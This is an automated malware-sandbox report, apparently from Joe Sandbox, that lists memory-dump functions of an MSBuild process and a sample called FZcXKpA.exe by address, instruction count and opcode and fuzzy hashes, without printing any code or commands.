Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93ba1d42e5975e8170eecf0fd28cc33c5848c38b329c2c658945062c97ee0bbe
Instruction ID: b30a18bfafeaea98562168af7c86d77a78b79353215116f8f4ff7f4f3ff6b00a
Opcode Fuzzy Hash: 93ba1d42e5975e8170eecf0fd28cc33c5848c38b329c2c658945062c97ee0bbe
Instruction Fuzzy Hash: EC310731B102A58BDF1C46BA88942FEBAAAABC4300F244439D916D3394DF74CF4597A1

Function 00CB9C30 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 742b32d3bd92f05f12aa1634a05e8285cac701d8bf1e735cd3919040b4868179
Instruction ID: 5d7308b8aa99e4490cadc87bbd963b35e1471ad4b5192b2173150ce58d8e8f6e
Opcode Fuzzy Hash: 742b32d3bd92f05f12aa1634a05e8285cac701d8bf1e735cd3919040b4868179
Instruction Fuzzy Hash: CC419130704245CFDB01DF6AC884BAB7BE6EF89301F548866EA18CB2A6D775DD05CB91

Function 00CB8EF8 Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c19c3c8434b5f4b1fc14811539a3d883d1cedeed2f8ddff612080022c440809c
Instruction ID: 29be8d5496e91213a03b6b7d3a00c164e4eea30fe133559f61acc2533aad082f
Opcode Fuzzy Hash: c19c3c8434b5f4b1fc14811539a3d883d1cedeed2f8ddff612080022c440809c
Instruction Fuzzy Hash: 3E31E430304141CFDB259BA9D8906BE7B6FAF85700F2448AAF022CB292EF39CD49C755

Function 00CB5658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f25fa2a58873fc6faee596b213e896edefd4982a2b78403dc7264eb9fbbf78ea
Instruction ID: 03971125fd8f3b0dedd973c3a56fc1bf490cc7af1061ef74e014a80c624e365d
Opcode Fuzzy Hash: f25fa2a58873fc6faee596b213e896edefd4982a2b78403dc7264eb9fbbf78ea
Instruction Fuzzy Hash: B1319D71701649DFCB019F64D894AAF3BB2EB88314F008464F91597384DB35CEA5EBA0

Function 00CBAFD7 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00ebddbc754b4f4d4f97849d935bbdca4df4c00a1dc497ba19845d507b66debf
Instruction ID: 7ac85f79b466b49f2c84854c441f6cb916b8906661db028b1cff5b059604cdb2
Opcode Fuzzy Hash: 00ebddbc754b4f4d4f97849d935bbdca4df4c00a1dc497ba19845d507b66debf
Instruction Fuzzy Hash: 502157B1B043519FCB0667B998101FE7FF2ABD9321B5484AAE515C73D2DE248C0A83A6

Function 00CB8EB3 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e616b738d0e28a8739c5a46c5e1599186679db13f1cbbcf5eb5bb9dd805aec5d
Instruction ID: 1a3912dcb6f43d2c4167437a977208dbe811a76ba72c5cb1077b6ed352ccc300
Opcode Fuzzy Hash: e616b738d0e28a8739c5a46c5e1599186679db13f1cbbcf5eb5bb9dd805aec5d
Instruction Fuzzy Hash: D431C63590025CDFEB24EBA4C810BDEB77AEF85300F1081AAD50A77352CE35DE95AB65

Function 00CB8370 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdefe1c5c1dc463b475fe40c2509afe53b303393f5c7e841bb54ca7e012eac47
Instruction ID: b0eeaf9a82539341eb8eea0246c6c05b644613ede387157e8d96d5e3bbf2b0d7
Opcode Fuzzy Hash: fdefe1c5c1dc463b475fe40c2509afe53b303393f5c7e841bb54ca7e012eac47
Instruction Fuzzy Hash: D221F830304242CBDF151B3698A46BF369EAFD5749F188479D512CB3A9DE35CC4ADB41

Function 00CB8380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 897f65d929c40be1431a3c5d21406438c32d4b58dbe125a9a2e4fd6bfe58de2c
Instruction ID: 10e1d7474664b4aa24679c0e3ac2e870011e47a8aa8c778c35be148b64b5649f
Opcode Fuzzy Hash: 897f65d929c40be1431a3c5d21406438c32d4b58dbe125a9a2e4fd6bfe58de2c
Instruction Fuzzy Hash: 1921D430304202CBEB145A2684A47BF369FAFD4758F148439D512CB799EE75CC8AEB81

Function 00CB28F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22d9471f1e1a883a0dbe015f37f204c9aa8f5e96e964990da9f1dd1709d151ec
Instruction ID: 25a9fa973045b4a8318d543b0190f72e7cfbf2b8540241f9d05d3ff7f66bce74
Opcode Fuzzy Hash: 22d9471f1e1a883a0dbe015f37f204c9aa8f5e96e964990da9f1dd1709d151ec
Instruction Fuzzy Hash: F5218C35E0114A9FCF14DB24D4409EE77A5EBA9360F208559E82A9B350EB30EE46CBD1

Function 00C2D005 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3576515125.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c2d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 626d58dd592003d3352c3edab99b377145831c4007a7018588960ef8a5e2d325
Instruction ID: 6f815045e2f1a6d4d96737253644a47377e651419d6745eabcf539660fdcf9a8
Opcode Fuzzy Hash: 626d58dd592003d3352c3edab99b377145831c4007a7018588960ef8a5e2d325
Instruction Fuzzy Hash: C0313A7150E3C08FC707CB24D9A0705BF71AB47214F29C5DBD8898F6A3C22A980ACB62

Function 00C1D554 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3576400544.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c1d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f80393222f318fa9445e65868b1232ec1ee61f63473209170a88a43e2843d77a
Instruction ID: 8036d83465e0576f3ed96b63a0a4260a166e80231c61408b88aca8e90b80c31c
Opcode Fuzzy Hash: f80393222f318fa9445e65868b1232ec1ee61f63473209170a88a43e2843d77a
Instruction Fuzzy Hash: F62125B1504240EFDB04DF14D9C0F66BF66FB89318F20C56DE90A0B256C336D896EBA2

Function 00CB6300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46c95db08b74629d43be03622e1490a0a4caa044aac2b76b80a80140c8c42a13
Instruction ID: 6f0bae01254d089b924c0f14957e389642e5cdc4f69240d5bf133741a3ad9a99
Opcode Fuzzy Hash: 46c95db08b74629d43be03622e1490a0a4caa044aac2b76b80a80140c8c42a13
Instruction Fuzzy Hash: 4221C035701A11CFC7159A2AC49497FB7E2EF89755B148578E816CB3A4CF34DD028B80

Function 00CBF72F Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e2113fdec522f7509cc9b472e24fd7aa39c76364999664dc1bc23cf4bf0ac88
Instruction ID: 7eed27b7b9dd493cd0657ffefdcfd6c316667dbdce394c545169ca9627b74baa
Opcode Fuzzy Hash: 9e2113fdec522f7509cc9b472e24fd7aa39c76364999664dc1bc23cf4bf0ac88
Instruction Fuzzy Hash: 71312670D01359DFEB14CFA5D854BEEBBB2AF89304F108829D415BB280DB755A4ACF50

Function 00C2D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3576515125.0000000000C2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c2d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 632d3eb94449479c0f6b45310a422b1a946a916dca1d7789b6cc242fb5eb74d7
Instruction ID: 38392e162e52dbb3d3f464094bd3538f5333be253efa4ff7f2904a0ba7ec1107
Opcode Fuzzy Hash: 632d3eb94449479c0f6b45310a422b1a946a916dca1d7789b6cc242fb5eb74d7
Instruction Fuzzy Hash: 56213471504204EFDB14DF24E9C0B26BB61FB94314F30C56DE80A4B6A2C73AD847CB62

Function 00CB5649 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51e03207d7646e3a721d4bba61d0b64061a5ae7b07210e8ad3a5db129f0a4334
Instruction ID: 284319a1b85bcd40301d7ca01d142ef21ad9dfb6bd18b57d9aae0c6caf23cd18
Opcode Fuzzy Hash: 51e03207d7646e3a721d4bba61d0b64061a5ae7b07210e8ad3a5db129f0a4334
Instruction Fuzzy Hash: 2121D171B06548DFCB019F64D4847EF3BB1EB99314F1040A9F8158B389DA388FAADB91

Function 00CB9761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b247d0afa98241f6b6f373a02fd8d9dafcae3f791fa5fb562b52374380ecb4c8
Instruction ID: d3f4e7c0486be38c903790bc3ddbb17faecb4b381827a1dfdd349110de6a3186
Opcode Fuzzy Hash: b247d0afa98241f6b6f373a02fd8d9dafcae3f791fa5fb562b52374380ecb4c8
Instruction Fuzzy Hash: 60219A70E01248DFCB15DFA6D590AEEBFB6EF49304F248069E511F6294DB30DA41DB20

Function 00CB62F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e4ebb368fc8317b4a00b7cb1df64551fef90805f91d2cbacc01d4ac121da0b3
Instruction ID: 3bedc688d5b9efdd268f8b5e0fb6f023a2127857af9c2d44fa5fc565cea35a9c
Opcode Fuzzy Hash: 2e4ebb368fc8317b4a00b7cb1df64551fef90805f91d2cbacc01d4ac121da0b3
Instruction Fuzzy Hash: EB110231705611CFC7159A2AC49497EB7E2FFC975171884B9E806CB3A4CF34DD028B90

Function 00CBF640 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 832db636c357060e729a20f623c0dc03be0c86225c26e1ce94c7083cdf288a17
Instruction ID: 57545dc78a9e3fa43f4a47833cd4f78da7ec99d2ffb234b33666d4384475dd3e
Opcode Fuzzy Hash: 832db636c357060e729a20f623c0dc03be0c86225c26e1ce94c7083cdf288a17
Instruction Fuzzy Hash: 71216FB0D0020ADFEB05EFA9D94079EBFF2FB85300F0081B9D55897365EB749A568B81

Function 00C1D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3576400544.0000000000C1D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C1D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_c1d000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction ID: 6d47844016c66691f40dad00fcc53d45747f75021abfde766d136659970e07b4
Opcode Fuzzy Hash: 347ceff61f71c01d8d79cfdbd8358f6f0be4c31f492294fd5b1d002aa0560fbf
Instruction Fuzzy Hash: F7110376504280CFCF01CF00D5C0B56BF72FB84314F24C5A9E80A0B256C33AD956DBA2

Function 00CBF650 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a4cf0ebf17b9ae0778fb3c1be06184c4d08a33be1b53983a711f4a1096c695b
Instruction ID: 3040ab19372e94d3085af72cc90c1bd24728c9e3e3109bf7cc0feef32aa4d6b2
Opcode Fuzzy Hash: 9a4cf0ebf17b9ae0778fb3c1be06184c4d08a33be1b53983a711f4a1096c695b
Instruction Fuzzy Hash: 24114C70E0120ADFDB04EFA9D84079EBBF2FB85300F0095B9D1189B365EB749A468F81

Function 00CB5E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eccbb8d827afaabb0ff0a370a145b3970c4b12012c1217864631e9e0c8c92244
Instruction ID: 8db1c8420ff5ec85bb4e36c841020458cf3477c37e9df9b47469f2f665b9d1be
Opcode Fuzzy Hash: eccbb8d827afaabb0ff0a370a145b3970c4b12012c1217864631e9e0c8c92244
Instruction Fuzzy Hash: 8D012632B04294AFCB129E689840AFF3FA6DBCA350F188069F440D7285CE368F199750

Function 00CB27FF Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab121b0046798ed0ff75157761d04566af2a773b83b7180bcbd0c4dd8c34ad07
Instruction ID: 86dc2431e3be3cadaafa07a0597f98418d22743dfd1f46966e84b919b262d8b9
Opcode Fuzzy Hash: ab121b0046798ed0ff75157761d04566af2a773b83b7180bcbd0c4dd8c34ad07
Instruction Fuzzy Hash: 6511B074D1120ACFCB40EFA9D9845EEBBF0BB49310F10556AD905B2214EB305A95CF91

Function 00CBABD0 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec0aac84699b2642d16cdc140f68eee2f4fe4be36f0d34942b22848b419d5a2
Instruction ID: 708068e89a95fec6e44cfc036d801707871a43279892da65dbcc17c45ef335c2
Opcode Fuzzy Hash: 9ec0aac84699b2642d16cdc140f68eee2f4fe4be36f0d34942b22848b419d5a2
Instruction Fuzzy Hash: F20128317443108F87165A2E945466E7BEAEFC9B55B19807AE959CB372EE32CD02C341

Function 00CB9D59 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06444fe28d6388af1d77c2a9daefa7de8a1d22bd2b0720cbe508b4cf624771cd
Instruction ID: 9dded999504ca9f8ea9a4eb40787d34ec153d8ad5af2cf67d18467410fe1dd83
Opcode Fuzzy Hash: 06444fe28d6388af1d77c2a9daefa7de8a1d22bd2b0720cbe508b4cf624771cd
Instruction Fuzzy Hash: 9CF068353001156FDB181EAA98509BBBBDBEBCD3A0F148429BB09C7351DE71CD1293A1

Function 00CBE8F7 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 879928c34b123c4643081f2fd8c950d8f624a81d6b7cee4e5c9d4899ce2c1424
Instruction ID: afd6cfb82faafab440da37bbfa0db2202c3397235e6c9215417b6523b8329984
Opcode Fuzzy Hash: 879928c34b123c4643081f2fd8c950d8f624a81d6b7cee4e5c9d4899ce2c1424
Instruction Fuzzy Hash: 350116B8D0020AEFCB40DFA4E844ABEBBB1FB48300F10856AD914A3354D7715A16DF92

Function 00CB9C2C Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d188d91f39a095a38309218a1c5997577e799d7d6b91e303aae7fb6d7e2e18c6
Instruction ID: ff171fd06434cf9f03d52848828ec64a89fbc6bd7be7553332e9c69a29c7400e
Opcode Fuzzy Hash: d188d91f39a095a38309218a1c5997577e799d7d6b91e303aae7fb6d7e2e18c6
Instruction Fuzzy Hash: 32F08271E001189FCB108F6A9844AEEBBB5EBC8320F10C126EA18C3215D6314A158B50

Function 00CBAF5B Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a017e244ef14bf8acde9728b2386e299ac575a4c62ef56d263437b20aab372ca
Instruction ID: 2a8789da9b01891614e63e737507e135f6a4a814e6dadf679fcdb0a7443ada8f
Opcode Fuzzy Hash: a017e244ef14bf8acde9728b2386e299ac575a4c62ef56d263437b20aab372ca
Instruction Fuzzy Hash: 3AF03076644144EFCB018F95EC90ADDBFB2FF8D311F184496EA11AB261C6319925CB60

Function 00CB28A3 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e4ce5a5311844f08b9aba7d5f66d412b95605c3c5af4d23ba9a2382ce6f25e7
Instruction ID: 2cebb9f68693408a8f487cb509be90f706d891cdbdc4734e0eff346b02bd0101
Opcode Fuzzy Hash: 0e4ce5a5311844f08b9aba7d5f66d412b95605c3c5af4d23ba9a2382ce6f25e7
Instruction Fuzzy Hash: BEE08636D65767CACB02E7B0AC400FEFB34ADD5211B59455BC06136191EB30265EC7A1

Function 00CB28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be33620617ec0d5ee201fca93c66bc6654238247eaff376702c7fb0b48c7dea2
Instruction ID: 76d11c61ae604af78a2df147a7dd9ff603c47e304809cef8dd32cb21c2aae4f9
Opcode Fuzzy Hash: be33620617ec0d5ee201fca93c66bc6654238247eaff376702c7fb0b48c7dea2
Instruction Fuzzy Hash: 16D05B31D2126B57CB00E7A5DC044EFF738EED5661B544626D51437140FB702659C7E1

Function 00CB6739 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a31ea08ae54f1c8eafb03513e689673ff14ccab3c309004adcc41b551fb0571
Instruction ID: 15aa513b8dc34a5068c610393ded3864dd9ce624782f013ab041d4d5c119a4d9
Opcode Fuzzy Hash: 6a31ea08ae54f1c8eafb03513e689673ff14ccab3c309004adcc41b551fb0571
Instruction Fuzzy Hash: 47E0123054D3CADFD603B374A88046A7F72AA83214B1999E5D0404EAAFDD35499ECF61

Function 00CB8EF7 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccc09a641997dd90366e1a424372f895c5cdedfedc8f708346f3c000f259c187
Instruction ID: 26642a36d1c80bbe4b8a3b3b8b2f6947f0c11d639e61f8dc9764ec18e1e937a8
Opcode Fuzzy Hash: ccc09a641997dd90366e1a424372f895c5cdedfedc8f708346f3c000f259c187
Instruction Fuzzy Hash: EEC0123364D0642DAB3510AE7C81AFB9B5EC3C13B4E25027BF9ACE32009C424C8A82A4

Function 00CBAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56df5004b4fa5303b8781a978b6dbbe65d10aca67e02d507147a708f289e5af7
Instruction ID: f5680926ef876074b93702a2bd342cc9803c6f4be2b897d987d26d66df202758
Opcode Fuzzy Hash: 56df5004b4fa5303b8781a978b6dbbe65d10aca67e02d507147a708f289e5af7
Instruction Fuzzy Hash: FCD0673AB40108DFCB049F99E8809DDF776FB98221B04C516F925A3264C6319925DB60

Function 00CB6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e608c3ae70185bcc594d9e2ad8974d3890ff9d769f8836c88a68af30fe54cda
Instruction ID: a161bf38b8b453520fea4b7dc79d527868e4621634a7e465d22d105e1d42c61c
Opcode Fuzzy Hash: 8e608c3ae70185bcc594d9e2ad8974d3890ff9d769f8836c88a68af30fe54cda
Instruction Fuzzy Hash: 1DC0123040470ECED501F765FC455597B3AE6802047909554A1050965DEE7459DA5A94

Non-executed Functions

Function 00CBF974 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8042c7bcddece7ecce6638b6d1a166d83748a1420ae9741b5a05172cad2df8bc
Instruction ID: 2e2eee76517009b023a58623a9d24a3a9b0709d262d2e7c569410f7a43c2c4fc
Opcode Fuzzy Hash: 8042c7bcddece7ecce6638b6d1a166d83748a1420ae9741b5a05172cad2df8bc
Instruction Fuzzy Hash: F3C17F74E01218CFEB14DFA5D994B9DBBB2BF89300F2081A9D809AB355DB359E85CF50

Function 00CBF4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c5d41f2d53a151cf07ab3705d102706d1ba11ce6371c3a701e989447764308b
Instruction ID: 7275530de6316e4e888afc315cf06831380a8791d7995e0e93f83b0c9f29709e
Opcode Fuzzy Hash: 2c5d41f2d53a151cf07ab3705d102706d1ba11ce6371c3a701e989447764308b
Instruction Fuzzy Hash: A351ED70D05208CBEB14EFA8D885BEEBBF2BB49300F209169D419BB395D7759982CF50

Function 00CBF2CF Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3577082595.0000000000CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_cb0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13a488b61455b0bac2da2ee9b6633a5f9a18f65f7731a0261e7c0adc1b898aa0
Instruction ID: ac227cd037c9ae64b49aa9d6b193f9aef1954e2de319b0b7d47d424a8b534855
Opcode Fuzzy Hash: 13a488b61455b0bac2da2ee9b6633a5f9a18f65f7731a0261e7c0adc1b898aa0
Instruction Fuzzy Hash: B3513670D05208DBEB14EFA9D8857EEB7F2BB88300F249129D414BB399DB759982CF54

Analysis Process: FZcXKpA.exePID: 7360, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	139
Total number of Limit Nodes:	17

Executed Functions

Function 016ED330 Relevance: 6.1, APIs: 4, Instructions: 129
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 016ED3BE
GetCurrentThread.KERNEL32 ref: 016ED3FB
GetCurrentProcess.KERNEL32 ref: 016ED438
GetCurrentThreadId.KERNEL32 ref: 016ED491

Memory Dump Source

Source File: 0000000A.00000002.2538526807.00000000016E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 016E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_16e0000_FZcXKpA.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
